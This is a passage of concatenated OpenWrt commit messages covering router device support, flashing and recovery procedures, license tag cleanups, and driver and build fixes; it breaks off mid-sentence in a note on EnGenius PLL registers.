Although provided in separate zip archives, the firmwares for EU
and RU version are byte-identical. This adds the missing ID compared
to the support-list in the vendor firmware.
Note (since I checked it anyway):
Partitions and support list are unchanged for all three existing
firmware versions:
* 20200721-rel40773
* 20201029-rel43238
* 20201120-rel50399
Signed-off-by: Alexey Kunitskiy <alexey.kv@gmail.com>
[rewrite commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
FRITZ!Box 7412 loads the firmware for fast ethernet PHY and mii is
more accurate in this case.
Gmii is used by Gigabit ethernet PHYs.
Signed-off-by: Aleksander Jan Bajkowski <A.Bajkowski@stud.elka.pw.edu.pl>
Reviewed-by: Mathias Kresin <dev@kresin.me>
[minor commit title/message adjustments]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This replaces a full-text BSD clause by the corresponding SPDX
identifier.
This should make it easier to identify the license both by humans
and machines.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This replaces several full-text and abbreviated licenses found in
DTS files by the corresponding SPDX identifiers.
This should make it easier to identify the license both by humans
and machines.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
UniElec U7621-01 is a router platform board, the smaller model of
the U7621-06.
The device has the following specifications:
- MT7621AT (880 MHz)
- 256 of RAM (DDR3)
- 16 MB of FLASH (SPI NOR)
- 5x 1 Gbps Ethernet (MT7621 built-in switch)
- 1x 2.4Ghz MT7603E
- 1x 5Ghz MT7612
- 1x miniPCIe slots (PCIe bus only)
- 1x miniSIM slot
- 1x USB 2.0 (uses the usb 3.0 driver)
- 8x LEDs (1x GPIO-controlled)
- 1x reset button
- 1x UART header (4-pins)
- 1x GPIO header (30-pins)
- 1x DC jack for main power (12 V)
The following has been tested and is working:
- Ethernet switch
- 1x 2.4Ghz MT7603E (wifi)
- 1x 5Ghz MT7612 (wifi)
- miniPCIe slots (tested with Wi-Fi cards and LTE modem cards)
- miniSIM slot (works with normal size simcard)
- sysupgrade
- reset button
Installation:
This board has no locked down bootloader. The seller can be asked to
install openwrt v18.06, so upgrades are standard sysupgrade method.
Recovery:
This board contains a Chinese, closed-source bootloader called Breed
(Boot and Recovery Environment for Embedded Devices). Breed supports web
recovery and to enter it, you keep the reset button pressed for around
5 seconds during boot. Your machine will be assigned an IP through DHCP
and the router will use IP address 192.168.1.1. The recovery website is
in Chinese, but is easy to use. Click on the second item in the list to
access the recovery page, then the second item on the next page is where
you select the firmware. In order to start the recovery, you click the
button at the bottom.
LEDs list (left to right):
- ESW_P0_LED_0
- ESW_P1_LED_0
- ESW_P2_LED_0
- ESW_P3_LED_0
- ESW_P4_LED_0
- CTS2_N (GPIO10, configured as "status" LED)
- LED_WLAN# (connected with pin 44 in wifi1 slot)
Signed-off-by: David Bentham <db260179@gmail.com>
[add DEVICE_VARIANT, fix DEVICE_PACKAGES, remove &gpio]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Port device support for Meraki MR12 from the ar71xx target to ath79.
Specifications:
- SoC: AR7242-AH1A CPU
- RAM: 64MiB (NANYA NT5DS32M16DS-5T)
- NOR Flash: 16MiB (MXIC MX25L12845EMI-10G)
- Ethernet: 1 x PoE Gigabit Ethernet Port (SoC MAC + AR8021-BL1E PHY)
- Ethernet: 1 x 100Mbit port (SoC MAC+PHY)
- Wi-Fi: Atheros AR9283-AL1A (2T2R, 11n)
Installation:
1. Requires TFTP server at 192.168.1.101, w/ initramfs & sysupgrade .bins
2. Open shell case
3. Connect a USB->TTL cable to headers furthest from the RF shield
4. Power on the router; connect to U-boot over 115200-baud connection
5. Interrupt U-boot process to boot Openwrt by running:
setenv bootcmd bootm 0xbf0a0000; saveenv;
tftpboot 0c00000 <filename-of-initramfs-kernel>.bin;
bootm 0c00000;
6. Copy sysupgrade image to /tmp on MR12
7. sysupgrade /tmp/<filename-of-sysupgrade>.bin
Notes:
- kmod-owl-loader is still required to load the ART partition into the
driver.
- The manner of storing MAC addresses is updated from ar71xx; it is
at 0x66 of the 'config' partition, where it was discovered that the
OEM firmware stores it. This is set as read-only. If you are
migrating from ar71xx and used the method mentioned above to
upgrade, use kmod-mtd-rw or UCI to add the MAC back in. One more
method for doing this is described below.
- Migrating directly from ar71xx has not been thoroughly tested, but
one method has been used a couple of times with good success,
migrating 18.06.2 to a full image produced as of this commit. Please
note that these instructions are only for experienced users, and/or
those still able to open their device up to flash it via the serial
headers should anything go wrong.
1) Install kmod-mtd-rw and uboot-envtools
2) Run `insmod mtd-rw.ko i_want_a_brick=1`
3) Modify /etc/fw_env.config to point to the u-boot-env partition.
The file /etc/fw_env.config should contain:
# MTD device env offset env size sector size
/dev/mtd1 0x00000 0x10000 0x10000
See https://openwrt.org/docs/techref/bootloader/uboot.config
for more details.
4) Run `fw_printenv` to verify everything is correct, as per the
link above.
5) Run `fw_setenv bootcmd bootm 0xbf0a0000` to set a new boot address.
6) Manually modify /lib/upgrade/common.sh's get_image function:
Change ...
cat "$from" 2>/dev/null | $cmd
... into ...
(
dd if=/dev/zero bs=1 count=$((0x66)) ; # Pad the first 102 bytes
echo -ne '\x00\x18\x0a\x12\x34\x56' ; # Add in MAC address
dd if=/dev/zero bs=1 count=$((0x20000-0x66-0x6)) ; # Pad the rest
cat "$from" 2>/dev/null
) | $cmd
... which, during the upgrade process, will pad the image by
128K of zeroes-plus-MAC-address, in order for the ar71xx's
firmware partition -- which starts at 0xbf080000 -- to be
instead aligned with the ath79 firmware partition, which
starts 128K later at 0xbf0a0000.
7) Copy the sysupgrade image into /tmp, as above
8) Run `sysupgrade -F /tmp/<sysupgrade>.bin`, then wait
Again, this may BRICK YOUR DEVICE, so make *sure* to have your
serial cable handy.
Signed-off-by: Martin Kennedy <hurricos@gmail.com>
[add LED migration and extend compat message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Specifications:
- SoC: MediaTek MT7688AN
- RAM: 128 MB
- Flash: 32 MB
- Ethernet: 5x 10/100 (1x WAN, 4x LAN)
- Wireless: built in 2.4GHz (bgn)
- USB: 1x USB 2.0 port
- Buttons: 1x Reset
- LEDs: 1x (WiFi)
Flash instructions:
- Configure TFTP server with IP address 10.10.10.3
- Name the firmware file as firmware.bin
- Connect any Ethernet port to the TFTP server's LAN
- Choose option 2 in U-Boot
- Alternatively choose option 7 to upload firmware to the built-in
web server
MAC addresses as verified by OEM firmware:
use address source
2g *:XX factory 0x4
LAN *:XX+1 factory 0x28
WAN *:XX+1 factory 0x2e
Notes:
This board is ostensibly a module containing the MediaTek MT7688AN SoC,
128 MB DDR2 SDRAM and 32 MB flash storage. The SoC can be operated in
IoT Gateway Mode or IoT Device Mode.
From some vendors the U-Boot that comes installed operates on UART 2
which is inaccessible in gateway mode and operates unreliably in the
Linux kernel when using more than 64 MB of RAM. For those, updating
U-Boot is recommended.
Signed-off-by: Ewan Parker <ewan@ewan.cc>
[add WLAN to 01_leds]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
The license folder is a core part of OpenWrt and all GPL-2.0 licensed.
Use SPDX license tags to allow machines to check licenses.
Signed-off-by: Paul Spooren <mail@aparcar.org>
[rebase, keep some Copyright lines, sharpen commit message]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Ran update_kernel.sh in a fresh clone without any existing toolchains.
Removed upstreamed patches:
imx6: 303-ARM-dts-imx6qdl-gw52xx-fix-duplicate-regulator-namin.patch
Build system: x86_64
Build-tested: ipq806x/R7800, bcm27xx/bcm2711
Run-tested: ipq806x/R7800
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
Commit 7c8c4f1be6 ("hostapd: fix P2P group information processing
vulnerability") was missing the actual patch for the vulnerability.
Fixes: 7c8c4f1be6 ("hostapd: fix P2P group information processing vulnerability")
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Package ARM Trusted Firmware host tools separately.
(instead of building tfa-fiptool as part of tfa-layerscape)
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
The PCI device ID detected by the wifi drivers on devices using a fallback
SPROM is wrong. Currently the chipnum is used for this parameter.
Most SSB based Broadcom wifi chips are 2.4 and 5GHz capable. But on
devices without a physical SPROM, the only one way to detect if the device
suports both bands or only the 5GHz band, is by reading the device ID from
the fallback SPROM.
In some devices, this may lead to a non working wifi on a 5GHz-only card,
or in the best case a working 2.4GHz-only in a dual band wifi card.
The offset for the deviceid in SSB SPROMs is 0x0008, whereas in BCMA is
0x0060. This is true for any SPROM version.
Override the PCI device ID with the one defined at the fallback SPROM, to
detect the correct wifi card model and allow using the 5GHz band if
supported.
The patch has been tested with the following wifi radios:
BCM43222: b43: both 2.4/5GHz working
brcm-wl: both 2.4/5GHz working
BCM43225: b43: 2.4GHz, working
brcmsmac: working
brcm-wl: it lacks support
BCM43217: b43: 2.4GHz, working
brcmsmac: it lacks support
brcm-wl: it lacks support
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
[amend commit description, rework patch to avoid using a new global variable
and keep ssb sprom extraction code as close to ssb/pci.c as possible]
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
New upstream changes extract more SPROM values and fix the antenna gain.
These changes can be found in linux drivers/ssb/pci.c.
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
ATF bl2 comes in 4 variants for MT7622 depending on the boot media:
* nor
* snand
* emmc
* sdmmc
Additional binary headers needed for emmc and sdmmc are downloaded as
well and provided along with bl2*.bin and bl31.bin to allow building
images including ATF for MT7622.
Signed-off-by: Daniel Golle <daniel@makrotopia.org>
All modification made by update_kernel.sh in a fresh clone without
existing toolchains.
Build-tested: bcm27xx/bcm2711, ipq806x/R7800,
Run-tested: ipq806x/R7800
No dmesg regressions, everything functional
Signed-off-by: John Audia <graysky@archlinux.us>
If the driver uses .sta_add, station entries are only uploaded after the sta
is in assoc state. Fix early station rate table updates by deferring them
until the sta has been uploaded
Signed-off-by: Felix Fietkau <nbd@nbd.name>
Add statistics to ethtool. The statistics can be useful to
debug network issues.
The code is backported from mainline ag71xx.c driver.
Signed-off-by: Leon Leijssen <leon.git@leijssen.info>
With upstream commit f81f9f0ebac5 ("rockchip: rockpro64: initialize USB in
preboot") CONFIG_USE_PREBOOT was enabled on the RockPro64, which is causing
boot issues when a eMMC is used, as a workaround will temporarily disable
this option.
Signed-off-by: Marty Jones <mj8263788@gmail.com>
[Improve patch description]
Signed-off-by: David Bauer <mail@david-bauer.net>
Hardware
--------
Atheros AR7241
16M SPI-NOR
64M DDR2
Atheros AR9283 2T2R b/g/n
2x Fast Ethernet (built-in)
Installation
------------
Transfer the Firmware update to the device using SCP.
Install using fwupdate.real -m <openwrt.bin> -d
Signed-off-by: David Bauer <mail@david-bauer.net>
Enable support for the Ubiquiti UniFi Outdoor+ RF filter via
device-tree. The old way of using platform data is not required anymore,
as it was only used on the now removed ar71xx target.
Signed-off-by: David Bauer <mail@david-bauer.net>
Replace with sed as done elsewhere.
Fixes error with at least btrfs-progs:
Package '@LIBSELINUX@', required by 'mount', not found
Package '@LIBCRYPTSETUP@', required by 'mount', not foun
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Currently it's not possible to boot the device with just initramfs image
without additional effort as the initramfs image doesn't contain device
tree. Fix it by producing FIT based image which could be booted with
following commands:
setenv bootargs earlyprintk console=ttyS0,115200
tftpboot ${kernel_addr_r} openwrt-mvebu-cortexa9-cznic_turris-omnia-initramfs-kernel.bin
bootm ${kernel_addr_r}
Acked-by: Klaus Kudielka <klaus.kudielka@gmail.com>
Reviewed-by: Tomasz Maciej Nowak <tmn505@gmail.com>
Signed-off-by: Petr Štetiar <ynezz@true.cz>
Switch to the normal tarball instead of the codeload generated one. The
latter has the potential to change hashes based on changes in the repo.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Packages that are in-tree only often lack a PKG_VERSION and only use the
PKG_RELEASE to mark changes. Using COMMITCOUNT/AUTORELEASE variables
causes an issue as both variables are empty during the metadata DUMP
phase.
Instead of leaving these variables empty and causing an error message
like below, set the variables to 0 during dumping. On actual building
the variable is evaluated causing in a value above 0.
ERROR: please fix package/utils/px5g-wolfssl/Makefile - \
see logs/package/utils/px5g-wolfssl/dump.txt for details
Makefile:48: *** Package/px5g-wolfssl is missing the VERSION field. Stop.
Reported-by: Daniel Golle <daniel@makrotopia.org>
Reported-by: Stijn Segers <foss@volatilesystems.org>
Reported-by: Stijn Tintel <stijn@linux-ipv6.be>
Signed-off-by: Paul Spooren <mail@aparcar.org>
Upon boot it now prints:
NOTICE: BL1: v2.4(release):OpenWRT v2.4-1 (espressobin-v3-v5-1gb-2cs) (Marvell-devel-18.12.0)
Signed-off-by: Andre Heider <a.heider@gmail.com>
The two required tools fail to identify their version when not compiling
from a git clone, patch that in and pass on the used commit hashes.
Upon boot it now prints "WTMI-devel-18.12.1-5598e150".
Signed-off-by: Andre Heider <a.heider@gmail.com>
The cpufreq issue has been identified and a fix is in the process of beeing
upstreamed [0].
Bump the boards to the default 1000MHz so they can run at that frequency
once the fix is merged. Until then the boards are stuck at 800MHz (just
claiming to run 1000Hz, which is a lie).
[0] https://lore.kernel.org/linux-arm-kernel/20210114124032.12765-1-pali@kernel.org/
Signed-off-by: Andre Heider <a.heider@gmail.com>
The thermal zones kernel documentation is misleading, we cannot use more
than one sensor in a thermal zone node.
Furthermore the drivetemp driver for some reason it only catches one
sensor from the hard drives array (the first available).
In the Buffalo Linkstation LS421DE board there is also a sensor at the
ethernet phy chip that can also be monitored. Very useful to stop the fan
when there are no hard drives in the bays.
(It might be also possible to add the CPU sensor, but it requires kernel
patching for registering the sensor via device tree, using the function:
devm_thermal_zone_of_sensor_register)
Fix the thermal zones to use only one sensor per node and add the ethernet
phy sensor. Also adjust the hdd temperatures to be more conservative for
a mechanical hard drive.
Signed-off-by: Daniel González Cabanelas <dgcbueu@gmail.com>
Pstore (persistent store) can be used to stash debug information (kernel
console, panics, ftrace) across reboots or crashes. If the filesystem is
present, mount it.
Signed-off-by: Brian Norris <computersforpeace@gmail.com>
Changelog:
- ath10k-ct: Pull in some upstream patches.
Runtime-tested on ipq806x (Netgear R7800).
Signed-off-by: Michael Yartys <michael.yartys@gmail.com>
A header used in ELECOM WRC-300GHBK2-I and WRC-1750GHBK2-I/C is also
used in ELECOM WRC-2533GHBK-I, so split the code to generate the header
and move it to image-commands.mk to use from ramips target.
Signed-off-by: INAGAKI Hiroshi <musashino.open@gmail.com>
Reviewed-by: Sungbo Eo <mans0n@gorani.run>
/lib/functions.sh was executable for no obvious reason and its
execute property was even checked in package-ipkg.mk just to
source it afterwards.
Remove the execute bit and shebang as this is clearly a library.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Reviewed-by: Philip Prindeville <philipp@redfish-solutions.com>
This drops the shebang from another bunch of files in various /lib
folders, as these are sourced and the shebang is useless.
Fix execute bit in one case, too.
This should cover almost all trivial cases now, i.e. where /lib is
actually used for library files.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Calling netdev_reset_queue() from _stop() functions is causing sporadic kernel
panics on bcm63xx, which happen mainly on BCM6318 and BCM6328.
This reverts to the previous behaviour, which called netdev_reset_queue() from
_open() functions.
Tested on Comtrend AR-5315u (BCM6318).
Fixes: 1d6f422e34 ("bcm63xx: sync ethernet driver with net-next")
Signed-off-by: Álvaro Fernández Rojas <noltari@gmail.com>
In case the default sources for a package fail use the CDN rather than
our own mirror. In case the CDN fails, fallback to our mirror.
Also remove mirror1 which isn't available anymore.
Signed-off-by: Paul Spooren <mail@aparcar.org>
This sets SUPPORTED_DEVICES to match the compatible in the DTS.
While at it, synchronize the capitalization in DEVICE_MODEL and
DTS model.
Signed-off-by: Marty Jones <mj8263788@gmail.com>
[commit title/message facelift, move variable in armv8.mk]
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
This sorts the Build recipes alphabetically, wraps some long lines
and moves the DEVICE_VARS to the top like common on several other
targets.
Cc: Rafał Miłecki <rafal@milecki.pl>
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
We have support for reference boards available on this target, so
support for an additional generic profile does not make much sense.
Remove it to have one thing less to maintain.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Paul Spooren <mail@aparcar.org>
On a platform with many very different devices, like found on kirkwood,
the generic profile seems like a remnant of the past that does not
have a real use anymore.
Remove it to have one thing less to maintain.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Paul Spooren <mail@aparcar.org>
On a platform with many very different devices, like found on ipq806x,
the generic profile seems like a remnant of the past that does not
have a real use anymore.
Remove it to have one thing less to maintain.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Paul Spooren <mail@aparcar.org>
On a platform with many very different devices, like found on ipq40xx,
the generic profile seems like a remnant of the past that does not
have a real use anymore.
Remove it to have one thing less to maintain.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Paul Spooren <mail@aparcar.org>
On a platform with many very different devices, like found on ramips,
the generic profiles seem like remnants of the past that do not
have a real use anymore.
Remove them to have one thing less to maintain.
Actually, rt288x didn't have a default profile in the first place.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Paul Spooren <mail@aparcar.org>
On a platform with many very different devices, like found on ath79,
the generic profiles seem like remnants of the past that do not
have a real use anymore.
Remove them to have one thing less to maintain.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Acked-by: Paul Spooren <mail@aparcar.org>
65abbcd9f6fb mt76: usb: process URBs with status EPROTO properly
3199ef5fa35e mt76: mt7615: set mcu country code in mt7615_mcu_set_channel_domain()
5c86d5bb079b mt76: mt7915: Remove unneeded semicolon
3f546330b59d mt76: mt7915: support TxBF for DBDC
032ad7e02545 mt76: mt7615: unify init work
cc3f23d1e654 mt76: mt7915: bring up the WA event rx queue for band1
fa3d334a0e22 mt76: fix crash on tearing down ext phy
c4c9c402d14a mt76: mt7915: fix vif sta index for DBDC
eca2f0ec0d4c mt76: mt7915: fix command id for txbf action
c828124ef9a5 mt76: mt7915: add support for using a secondary PCIe link for gen1
dbaf0f4679f3 mt76: mt7915: make vif index per adapter instead of per band
fb3e5ce1eb00 mt76: move vif_mask back from mt76_phy to mt76_dev
be2bea66d6e3 mt76: mt7915: detect wrong nss eeprom parameter on dbdc cards
8dc5d4a0da7c Revert "mt76: mt7915: fix vif sta index for DBDC"
8c796a33781c mt76: mt7915: only set int1 when using the second hif
4eb5caaf6cc1 mt76: reduce q->lock hold time
0714890bf0fd mt76: mt7615: reduce VHT maximum MPDU length
2f85aa5cbc62 mt76: mt7915: avoid writes to MT_PCIE_RECOG_ID when not using gen1 devices
8696919d9aae mt76: dma: fix a possible memory leak in mt76_add_fragment()
Signed-off-by: Felix Fietkau <nbd@nbd.name>
This commit is only added to keep the PKG_RELEASE correct after fixing
the $(COMMITCOUNT) logic in the previous commit.
This way the PKG_RELEASE stays the same while the compiled packages
content isn't changed.
Signed-off-by: Paul Spooren <mail@aparcar.org>
The newly added $(COMMITCOUNT) variable was wrongly increased by plus
one. The addition should have been only added to $(AUTORELEASE) as
OpenWrt traditionally starts counting at one rather than zero.
$(AUTORELEASE) counts the commits since the last bump, which is zero on
the version bump commit itself.
This commit increases $(AUTORELEASE) by one while leaving $(COMMITCOUNT)
as is.
The base-files package is the only package using $(COMMITCOUNT) so far
and requires a pseudo commit to keep the PKG_RELEASE correct. A non
functional change (Copyright bump) is done in the next commit.
Signed-off-by: Paul Spooren <mail@aparcar.org>
Certificate signature algorithm was being set after call to
`wc_MakeCert`, resulting in a mismatch between specified signature in
certificate and the actual signature type.
Signed-off-by: Jeffrey Elms <jeff@wolfssl.com>
[fix commit subject, use COMMITCOUNT]
Signed-off-by: Paul Spooren <mail@aparcar.org>
GCC 5.1 changed the std::string ABI in order to properly support C++11.
For compatibility with libraries compiled with the older ABI, that is,
linking between old-abi.so and new-abi.bin, both ABIs are enabled. In
terms of OpenWrt, all packages are compiled with the same toolchain,
which means these issues do not need to be handled.
Most importantly, this results in a significant size reduction of
libstdpp:
Before:
450794 bytes
After:
327752 bytes
Tested with all OpenWrt packages.
Signed-off-by: Rosen Penev <rosenp@gmail.com>
Add a table API that has per accss register locking and uses
register description information to handle all table access
through a single set of api calls.
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
Adds support for the RTL9300 and RTL9310 series of switches
with 10GBit per port and up to 56 ports.
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
This adds support for the internal SerDes of the RTL9300 SoC
and for the RTL8218D and RTL8226B phys found in combination
with this SoC in switches.
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
This fixes the usage of the RTL8231 GPIO extender chip
when used with the RTL839X SoCs. Specifically,
the PHY addresses may be different from 0.
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
Makes sure the DSA trailer information on any L2 offloading done
by the switch is honoured by the bridge layer
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
This adds support for identifying QoS information in packets
and use this and rate control information to submit to multiple
egress queues. The ethernet driver is also made to support
2 egress and up to 32 egress queues.
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
this adds support for the SoC timer of the RTL9300 chips, it
provides 6 independent timer/counters, of which the first one
is used as a clocksource and the second one as event timer.
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
This adds support for the RTL8390 and RTL9300 SoCs
it also cleans up unnecessary definitions in mach-rtl83xx.h
and moves definitions relevant for irq routing to irq.h
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
This adds support to detect RTL930X based SoCs and the RTL9313 SoC.
Tested on Zyxel XGS1210-10 (RTL9302B SoC) and the
Zyxel XS1930-12 (RTL9313 SoC)
Signed-off-by: Birger Koblitz <git@birger-koblitz.de>
Use the latest stable kernel since the previous 5.8.x series is EOL.
Also drop the following patches recently accepted upstream:
* 001-libbpf-ensure-no-local-symbols-counted-in-ABI-check.patch
* 002-libbpf-fix-build-failure-from-uninitialized-variable.patch
* 003-bpftool-allow-passing-BPFTOOL_VERSION-to-make.patch
* 004-v5.9-bpftool-use-only-ftw-for-file-tree-parsing.patch
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
The config setting was renamed to CONFIG_KPROBE_EVENTS.
Fixes: 97d3f800a8 ("config: kernel: Add KPROBE_EVENTS config option)
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
Comment out some conflicting target configs that are set from subtarget
configs, which sometimes lead to kernel compile warnings:
scripts/kconfig/conf --syncconfig Kconfig
net/sched/Kconfig:45: warning: menuconfig statement without prompt
.config:1038:warning: override: CPU_MIPS32_R2 changes choice state
Signed-off-by: Tony Ambardar <itugrok@yahoo.com>
Append a device specific version trailer used by the stock
firmware upgrade application to validate firmwares.
The trailer contains a list of ZyXEL firmware version
numbers, which includes a four letter hardware identifier.
The stock web UI requires that the current hardware matches
one of the listed versions, and that the version number is
larger than a model specific minimum value. The minimum
version varies between V1.00 and V2.60 for the currently
known GS1900 models. The number is not used anywhere else
to our knowlege, and has no direct relation to the version
info in the u-image header. We can therefore use an
arbitrary value larger than V2.60.
The stock firmware upgrade application will only load and
flash the part of the file specified in the u-image header,
regardless of file size. It can therefore not be used to
flash images with an appended rootfs. There is therefore no
need to include the trailer in other images than the
initramfs. This prevents accidentally bricking by attempts
to flash other images from the stock web UI.
Stock images support all models in the series, listing
all of them in the version trailer. OpenWrt provide model
specific images. We therefore only list the single supported
hardware identifier for each image. This eliminates the risk
of flashing the wrong OpenWrt image from stock web UI.
OpenWrt can be installed from stock firmware in two steps:
1) flash OpenWrt initramfs image from stock web gui
2) boot OpenWrt and sysupgrade to a squasfs image
The OpenWrt squashfs image depends on a static partition
map in the DTS. It can only be installed to the "firmware"
partition. This partition is labeled "RUNTIME1" in u-boot
and in stock firmware, and is referred to as "image 0" in
the stock flash management tool. The OpenWrt initramfs
can be installed and run from either partitions. But if
you want to keep stock irmware in the spare system partition,
then you must make sure stock firmware is installed to the
"RUNTIME2" partition referred to as "image 1" in the stock
web UI. And the initial OpenWrt initramfs must be flashed
to "RUNTIME1"/"image 0".
The stock flash management application supports direct
selection of both which partition to flash and which
partition to boot next. This allows software controlled
"dual-boot" between OpenWrt and stock firmware, without
using console access to u-boot. u-boot use the "bootpartition"
variable stored in the second u-boot environment to select
which of the two system partitions to boot. This variable
is set by the stock flash management application, by direct
user input. It can also be set in OpenWrt using e.g
fw_setsys bootpartition 1
to select "RUNTIME2"/"image 1" as default, assuming a
stock firmware version is installed in that partition.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
The stock firmware of the ZyXEL GS1900 series use a non-standard
u-image magic. This is not enforced by the stock u-boot, which is
why we could boot images with the default magic. The flash
management application of the stock firmware will however verify
the magic, and refuse any image with another value.
Convert to vendor-specific value to get flash management support
in stock firmware, including the ability to upgrade to OpenWrt
directly from stock web UI.
Signed-off-by: Bjørn Mork <bjorn@mork.no>
dnsmasq v2.83 has a bug in handling duplicate queries which means it may
try to reply using the incorrect network socket. This is especially
noticeable in dual stack environments where replies may be mis-directed to
IPv4 addresses on an IPv6 socket or IPv6 addresses on an IPv4 socket.
This results in system log spam such as:
dnsmasq[16020]: failed to send packet: Network unreachable
dnsmasq[16020]: failed to send packet: Address family not supported by protocol
dnsmasq v2.84test3 resolves these issues.
Signed-off-by: Kevin Darbyshire-Bryant <ldir@darbyshire-bryant.me.uk>
x86 uses append-metadata, but only for signing and not for the
metadata itself.
Since recently SUPPORTED_DEVICES was assigned with a global value
and is not empty anymore, append-metadata will now actually put
metadata into x86 images. This breaks sysupgrade on x86.
To fix it for the moment, let's just empty SUPPORTED_DEVICES for
this target again.
In the long term, one should either not add metadata to the images
if it is not desired, and/or remove the unintended fwtool check.
Fixes: f52081bcf9 ("treewide: provide global default for SUPPORTED_DEVICES")
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
Since the new global SUPPORTED_DEVICES are now available in bcm53xx
as well, we do not need to specify an explicit value for the MR32
anymore.
Signed-off-by: Adrian Schmutzler <freifunk@adrianschmutzler.de>
FCC ID: A8J-EAP1200H
Engenius EAP1200H is an indoor wireless access point with
1 Gb ethernet port, dual-band wireless,
internal antenna plates, and 802.3at PoE+
**Specification:**
- QCA9557 SOC
- QCA9882 WLAN PCI card, 5 GHz, 2x2, 26dBm
- AR8035-A PHY RGMII GbE with PoE+ IN
- 40 MHz clock
- 16 MB FLASH MX25L12845EMI-10G
- 2x 64 MB RAM NT5TU32M16FG
- UART at J10 populated
- 4 internal antenna plates (5 dbi, omni-directional)
- 5 LEDs, 1 button (power, eth0, 2G, 5G, WPS) (reset)
**MAC addresses:**
MAC addresses are labeled as ETH, 2.4G, and 5GHz
Only one Vendor MAC address in flash
eth0 ETH *:a2 art 0x0
phy1 2.4G *:a3 ---
phy0 5GHz *:a4 ---
**Serial Access:**
the RX line on the board for UART is shorted to ground by resistor R176
therefore it must be removed to use the console
but it is not necessary to remove to view boot log
optionally, R175 can be replaced with a solder bridge short
the resistors R175 and R176 are next to the UART RX pin at J10
**Installation:**
2 ways to flash factory.bin from OEM:
Method 1: Firmware upgrade page:
OEM webpage at 192.168.1.1
username and password "admin"
Navigate to "Firmware Upgrade" page from left pane
Click Browse and select the factory.bin image
Upload and verify checksum
Click Continue to confirm and wait 3 minutes
Method 2: Serial to load Failsafe webpage:
After connecting to serial console and rebooting...
Interrupt uboot with any key pressed rapidly
execute `run failsafe_boot` OR `bootm 0x9fd70000`
wait a minute
connect to ethernet and navigate to
"192.168.1.1/index.htm"
Select the factory.bin image and upload
wait about 3 minutes
**Return to OEM:**
If you have a serial cable, see Serial Failsafe instructions
otherwise, uboot-env can be used to make uboot load the failsafe image
*DISCLAIMER*
The Failsafe image is unique to Engenius boards.
If the failsafe image is missing or damaged this will brick the device
DO NOT downgrade to ar71xx this way, it can cause kernel loop or halt
ssh into openwrt and run
`fw_setenv rootfs_checksum 0`
reboot, wait 3 minutes
connect to ethernet and navigate to 192.168.1.1/index.htm
select OEM firmware image from Engenius and click upgrade
**TFTP recovery:**
Requires serial console, reset button does nothing
rename initramfs to 'vmlinux-art-ramdisk'
make available on TFTP server at 192.168.1.101
power board, interrupt boot
execute tftpboot and bootm 0x81000000
NOTE: TFTP is not reliable due to bugged bootloader
set MTU to 600 and try many times
**Format of OEM firmware image:**
The OEM software of EAP1200H is a heavily modified version
of Openwrt Kamikaze. One of the many modifications
is to the sysupgrade program. Image verification is performed
simply by the successful ungzip and untar of the supplied file
and name check and header verification of the resulting contents.
To form a factory.bin that is accepted by OEM Openwrt build,
the kernel and rootfs must have specific names...
openwrt-ar71xx-generic-eap1200h-uImage-lzma.bin
openwrt-ar71xx-generic-eap1200h-root.squashfs
and begin with the respective headers (uImage, squashfs).
Then the files must be tarballed and gzipped.
The resulting binary is actually a tar.gz file in disguise.
This can be verified by using binwalk on the OEM firmware images,
ungzipping then untaring.
Newer EnGenius software requires more checks but their script
includes a way to skip them, otherwise the tar must include
a text file with the version and md5sums in a deprecated format.
The OEM upgrade script is at /etc/fwupgrade.sh.
OKLI kernel loader is required because the OEM software
expects the kernel to be no greater than 1536k
and the factory.bin upgrade procedure would otherwise
overwrite part of the kernel when writing rootfs.
Note on PLL-data cells:
The default PLL register values will not work
because of the external AR8035 switch between
the SOC and the ethernet port.
For QCA955x series, the PLL registers for eth0 and eth1
can be see in the DTSI as 0x28 and 0x48 respectively.
Therefore the PLL registers can be read from uboot
for each link speed after attempting tftpboot
or another network action using that link speed
with `md 0x18050028 1` and `md 0x18050048 1`.
The clock delay required for RGMII can be applied
at the PHY side, using the at803x driver `phy-mode`.
Therefore the PLL registers for GMAC0
